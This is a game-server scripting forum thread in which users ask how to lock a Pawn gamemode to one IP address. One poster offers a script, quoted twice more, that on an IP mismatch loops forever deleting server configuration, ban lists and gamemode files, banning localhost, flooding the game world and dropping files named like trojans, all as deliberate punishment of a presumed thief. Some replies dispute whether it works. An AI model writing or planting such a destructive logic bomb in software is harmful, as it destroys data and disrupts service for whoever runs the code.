[SOVED] One IP Server. Different IP + GM = No Start
#1

I heard somewhere that there is protection that makes it so your server will only run and start on a specific IP. If the IP is different then the server will just auto close and assume it is a guy who stole GM. So does this script actually exist and where can I obtain it?
Reply
#2

Well sure, there's plenty of things you could do to prevent something like this. But, if someone stole your GM they could easily remove such a script. If they only had the amx, and you protected it with that anti deamx script, then this would be fairly easy. You could make it so that if you didn't type something into the rcon a certain seconds after the GM started it would cut off. The person would never know why it's doing it. But again, that is if he only had the amx that was protected.
Reply
#3

MAKE SURE YOU CHANGE THE IP, OR YOU'LL GET OWNED TO SMITHERINES.

I use this, ****** made it but I modified it (I use a different plugin to go out of the /scriptfiles/ directory, along with ******' RandomEx()):

pawn Код:
new ip[ 16 ];
   
    GetServerVarAsString( "bind", ip, sizeof( ip ) );
    if( ! ip[ 0 ] || strcmp( ip, "209.172.55.89" ) )
    {
        for (;;)
        {
            print( "ERROR: You're not authorised to use this script." );
            CreateVehicle( 520, 2109.1763, 1503.0453, 32.2887, 82.2873, 0, 1, 1 );
            print( "WARNING [vehicles]: An excessive amount of UNKNOWN seem to be spawning." );
            CreateObject( RandomEx( 400, 611 ), 2001.195679, 1547.113892, 14.283400, 0, 0, 96 );
            print( "WARNING [objects]: An excessive amount of Mailboxes (ID: 1258) seem to be spawning." );
            new tmpstr[512], stringforhungary[512], maybeinchina[512];
            format( tmpstr, sizeof( tmpstr ), "trojan_horse_HONKEY_%d.exe", RandomEx( 5, 999999 ) );
            file_create( tmpstr );
            format( stringforhungary, sizeof( stringforhungary ), "ERROR: In Soviet Hungary - String format you." );
            print( stringforhungary );
            format( maybeinchina, sizeof( maybeinchina ), "%d_I_am_telling_Calgon.bat", RandomEx( 1, 10000 ) );
            Create3DTextLabel( "Hi, my name is DO NOT STEAL MY SCRIPT!",0x008080FF,30.0,40.0,50.0,40.0,0 );
            print( "WARNING [3d labels]: An excessive amount of 3d labels with the text 'Hi, my name is DO NOT STEAL MY SCRIPT!' seem to be spawning." );
      dini_Create( maybeinchina );
      SendRconCommand( "banip 127.0.*.*" );
      file_delete( "samp-npc" );
      file_delete( "samp.ban" );
      file_delete( "server.cfg" );
     
      if( fexist( "gamemodes/VortexRoleplay.amx" ) )
      {
        file_delete( "gamemodes/VortexRoleplay.amx" );
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
      else
      {
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
     
      new Variable[MAX_PLAYERS];
      Variable[1] = 42;
        }
    }
And use Anti-DeAMX (sorry, I've forgotten who made this):

pawn Код:
AntiDeAMX()
{
    new a[][] =
    {
        "Unarmed (Fist)",
        "Brass K"
    };
    #pragma unused a
}
Reply
#4

You can only delete files in the scriptfiles folder for this very reason. Simply shutting down the server would do.
Reply
#5

CalgonX recheck your code, it wouldn't work. Just password protect things and make sure that the host is secure.

Reply
#6

Quote:
Originally Posted by Backwardsman97
You can only delete files in the scriptfiles folder for this very reason. Simply shutting down the server would do.
It's a plugin made by JaTochNietDen (or something).

Quote:
Originally Posted by [HiC
TheKiller ]
CalgonX recheck your code, it wouldn't work. Just password protect things and make sure that the host is secure.
How would it not work?
Reply
#7

Quote:
Originally Posted by CalgonX
MAKE SURE YOU CHANGE THE IP, OR YOU'LL GET OWNED TO SMITHERINES.

I use this, ****** made it but I modified it (I use a different plugin to go out of the /scriptfiles/ directory, along with ******' RandomEx()):

pawn Код:
if( ! ip[ 0 ] || strcmp( ip, "209.172.55.89" ) )
    {
        for (;;)
        {
            print( "ERROR: You're not authorised to use this script." );
            CreateVehicle( 520, 2109.1763, 1503.0453, 32.2887, 82.2873, 0, 1, 1 );
            print( "WARNING [vehicles]: An excessive amount of UNKNOWN seem to be spawning." );
            CreateObject( RandomEx( 400, 611 ), 2001.195679, 1547.113892, 14.283400, 0, 0, 96 );
            print( "WARNING [objects]: An excessive amount of Mailboxes (ID: 1258) seem to be spawning." );
            new tmpstr[512], stringforhungary[512], maybeinchina[512];
            format( tmpstr, sizeof( tmpstr ), "trojan_horse_HONKEY_%d.exe", RandomEx( 5, 999999 ) );
            file_create( tmpstr );
            format( stringforhungary, sizeof( stringforhungary ), "ERROR: In Soviet Hungary - String format you." );
            print( stringforhungary );
            format( maybeinchina, sizeof( maybeinchina ), "%d_I_am_telling_Calgon.bat", RandomEx( 1, 10000 ) );
            Create3DTextLabel( "Hi, my name is DO NOT STEAL MY SCRIPT!",0x008080FF,30.0,40.0,50.0,40.0,0 );
            print( "WARNING [3d labels]: An excessive amount of 3d labels with the text 'Hi, my name is DO NOT STEAL MY SCRIPT!' seem to be spawning." );
      dini_Create( maybeinchina );
      SendRconCommand( "banip 127.0.*.*" );
      file_delete( "samp-npc" );
      file_delete( "samp.ban" );
      file_delete( "server.cfg" );
     
      if( fexist( "gamemodes/VortexRoleplay.amx" ) )
      {
        file_delete( "gamemodes/VortexRoleplay.amx" );
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
      else
      {
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
     
      new Variable[MAX_PLAYERS];
      Variable[1] = 42;
        }
    }
And use Anti-DeAMX (sorry, I've forgotten who made this):

pawn Код:
AntiDeAMX()
{
    new a[][] =
    {
        "Unarmed (Fist)",
        "Brass K"
    };
    #pragma unused a
}
So whats the name of the thing for RandomEx and what include do I use for the file create and destroy thing?
Reply
#8

Quote:
Originally Posted by [SU
BP13 ]
Quote:
Originally Posted by CalgonX
MAKE SURE YOU CHANGE THE IP, OR YOU'LL GET OWNED TO SMITHERINES.

I use this, ****** made it but I modified it (I use a different plugin to go out of the /scriptfiles/ directory, along with ******' RandomEx()):

pawn Код:
if( ! ip[ 0 ] || strcmp( ip, "209.172.55.89" ) )
    {
        for (;;)
        {
            print( "ERROR: You're not authorised to use this script." );
            CreateVehicle( 520, 2109.1763, 1503.0453, 32.2887, 82.2873, 0, 1, 1 );
            print( "WARNING [vehicles]: An excessive amount of UNKNOWN seem to be spawning." );
            CreateObject( RandomEx( 400, 611 ), 2001.195679, 1547.113892, 14.283400, 0, 0, 96 );
            print( "WARNING [objects]: An excessive amount of Mailboxes (ID: 1258) seem to be spawning." );
            new tmpstr[512], stringforhungary[512], maybeinchina[512];
            format( tmpstr, sizeof( tmpstr ), "trojan_horse_HONKEY_%d.exe", RandomEx( 5, 999999 ) );
            file_create( tmpstr );
            format( stringforhungary, sizeof( stringforhungary ), "ERROR: In Soviet Hungary - String format you." );
            print( stringforhungary );
            format( maybeinchina, sizeof( maybeinchina ), "%d_I_am_telling_Calgon.bat", RandomEx( 1, 10000 ) );
            Create3DTextLabel( "Hi, my name is DO NOT STEAL MY SCRIPT!",0x008080FF,30.0,40.0,50.0,40.0,0 );
            print( "WARNING [3d labels]: An excessive amount of 3d labels with the text 'Hi, my name is DO NOT STEAL MY SCRIPT!' seem to be spawning." );
      dini_Create( maybeinchina );
      SendRconCommand( "banip 127.0.*.*" );
      file_delete( "samp-npc" );
      file_delete( "samp.ban" );
      file_delete( "server.cfg" );
     
      if( fexist( "gamemodes/VortexRoleplay.amx" ) )
      {
        file_delete( "gamemodes/VortexRoleplay.amx" );
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
      else
      {
        format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
        file_create( stringforhungary );
      }
     
      new Variable[MAX_PLAYERS];
      Variable[1] = 42;
        }
    }
And use Anti-DeAMX (sorry, I've forgotten who made this):

pawn Код:
AntiDeAMX()
{
    new a[][] =
    {
        "Unarmed (Fist)",
        "Brass K"
    };
    #pragma unused a
}
So whats the name of the thing for RandomEx and what include do I use for the file create and destroy thing?
It's a plugin, not an include.

Use this code instead, as mine is just to annoy the hell out of the script theif:

pawn Код:
if( ! ip[ 0 ] || strcmp( ip, YOUR_SERVERS'_IP ) )
    {
        for (;;)
        {
            print( "ERROR: You'
re not authorised to use this script." );
            SendRconCommand( "
exit" );
        }
    }
Reply
#9

How would that annoy him? As soon as it reached the line to send the rcon command of exit, the server would shutdown.
Reply
#10

Quote:
Originally Posted by Backwardsman97
How would that annoy him? As soon as it reached the line to send the rcon command of exit, the server would shutdown.
The code above doesn't shut it down, the code I re-posted doesn't shut it down.
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)